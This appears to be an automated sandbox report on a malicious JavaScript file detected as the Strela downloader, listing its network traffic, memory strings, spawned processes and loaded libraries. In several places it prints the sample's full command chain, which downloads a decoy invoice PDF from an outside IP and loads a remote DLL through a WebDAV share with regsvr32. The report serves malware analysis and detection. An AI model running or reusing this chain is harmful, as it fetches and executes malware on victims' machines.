HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2122125265.0000023543181000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2122125265.000002354316E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2189189274.000001F661C27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000007.00000002.2189189274.000001F661C27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.2189047895.000001F661BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: svchost.exe, 0000000A.00000002.3407194937.0000022CBDA90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.2175842620.0000022CBD930000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3852, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5250250172915227960.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjnezffr.v4d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,2494998415737229780,3962503307134278320,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,2494998415737229780,3962503307134278320,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
